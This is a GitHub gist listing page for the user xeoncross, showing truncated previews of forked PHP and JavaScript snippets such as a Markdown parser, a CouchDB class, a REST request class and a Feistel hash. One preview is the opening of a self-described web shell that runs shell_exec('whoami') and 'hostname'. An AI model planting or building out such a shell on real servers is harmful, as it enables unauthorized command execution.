Skip to content

Instantly share code, notes, and snippets.

View xeoncross's full-sized avatar

David Pennington xeoncross

View GitHub Profile
@xeoncross
xeoncross / README.md
Created August 15, 2012 16:13 — forked from jbroadway/Slimdown.md
Slimdown - A simple regex-based Markdown parser.

Slimdown

A very basic regex-based Markdown parser. Supports the following elements (and can be extended via Slimdown::add_rule()):

  • Headers
  • Links
  • Bold
  • Emphasis
  • Deletions
@xeoncross
xeoncross / webshell.php
Created August 16, 2012 19:09 — forked from RyanKung/webshell.php
a simple webshell
<?php
session_start();
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = '~';
}
@xeoncross
xeoncross / class.couchdb.php
Created August 21, 2012 17:54 — forked from p2k/class.couchdb.php
PHP class for easy use of CouchDB databases
<?php
/*
* class.couchdb.php - A class for easy use of CouchDB databases in PHP
*
* Copyright (C) 2012 Patrick "p2k" Schneider <patrick.p2k.schneider@gmail.com>
*
* This is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
@xeoncross
xeoncross / Google.php
Created August 21, 2012 17:56
GoogleAuth
<?php
use \Nette\Utils\Json;
/**
* Minimalistic Google OAuth2 connector
* @author Mikuláš Dítě
*/
class Google extends Nette\Object
{
@xeoncross
xeoncross / RESTRequest.php
Created August 24, 2012 16:59 — forked from therealklanni/RESTRequest.php
RESTRequest is a PHP class for handling cURL requests, specifically for use with RESTful web services. Supports session states.
<?php
class RESTRequest
{
public $response;
public $code;
private $handle;
private $session;
private $curlopts;
@xeoncross
xeoncross / wavefilereader.class.php
Created August 29, 2012 17:28 — forked from RobThree/wavefilereader.class.php
PHP WAVE file reader / parser
<?php
/**
* WaveFileReader; a simple class to read/parse WAVE file
* (c)2012 Rob Janssen / https://github.com/RobThree
*
* Based on https://ccrma.stanford.edu/courses/422/projects/WaveFormat/
*
* USAGE:
*
* $wav = WaveFileReader::ReadFile('/path/to/test.wav');
@xeoncross
xeoncross / index.html
Created August 31, 2012 19:35 — forked from millermedeiros/index.html
Simple Markdown previewer with github-style codeblocks support
<!doctype html>
<meta charset="utf-8">
<title>Using Showdown with and without jQuery: demo</title>
<style>
textarea, #preview { width: 500px; height: 150px; margin-bottom: 1em; padding: .5em 1em; overflow-y:auto}
#preview { border: 1px solid #666; }
</style>
<link rel="first" href="http://mathiasbynens.be/notes/showdown-javascript-jquery" title="Using Showdown with and without jQuery">
<link rel="prefetch" href="http://mathiasbynens.be/notes/showdown-javascript-jquery" title="Using Showdown with and without jQuery">
<link rel="stylesheet" href="http://yandex.st/highlightjs/6.1/styles/default.min.css">
@xeoncross
xeoncross / gist:3657082
Created September 6, 2012 14:58 — forked from mauris/gist:3649712
Distinctive Random Colour Generation
function randomColor($id){
$rawR = mt_rand(0, 10) * 25.5;
$rawG = mt_rand(0, 10) * 25.5;
$rawB = mt_rand(0, 10) * 25.5;
$mix = ceil(($id % 5) / 5 * 255);
$r = ceil(($rawR + $mix) % 255);
$g = ceil(($rawG + $mix) % 255);
$b = ceil(($rawB + $mix) % 255);
return str_pad(dechex(($r << 16) | ($g << 8) | $b), 6, '0', STR_PAD_LEFT);
@xeoncross
xeoncross / aloha-config.js
Created September 12, 2012 15:24 — forked from evo42/aloha-config.js
Aloha Editor -- send content via ajax to a backend php script to save the data edited with Aloha Editor
( function ( window, undefined ) {
var Aloha = window.Aloha || ( window.Aloha = {} );
Aloha.settings = {
logLevels: { 'error': true, 'warn': true, 'info': true, 'debug': false, 'deprecated': true },
errorhandling: false,
ribbon: false,
locale: 'en',
floatingmenu: {
width: 630,
@xeoncross
xeoncross / feistel.php
Created September 13, 2012 16:05 — forked from baldurrensch/feistel.php
Feistel Hash
<?php
/**
* This function computes a hash of an integer. This can be used to not expose values to a customer, such as
* not giving them the id value for passing them to URLs. This algorithm is a bidirectional encryption (Feistel cipher) that maps
* the integer space onto itself.
*
* @link http://wiki.postgresql.org/wiki/Pseudo_encrypt Algorithm used
* @link http://en.wikipedia.org/wiki/Feistel_cipher Wikipedia page about Feistel ciphers
* @param int $value
* @return int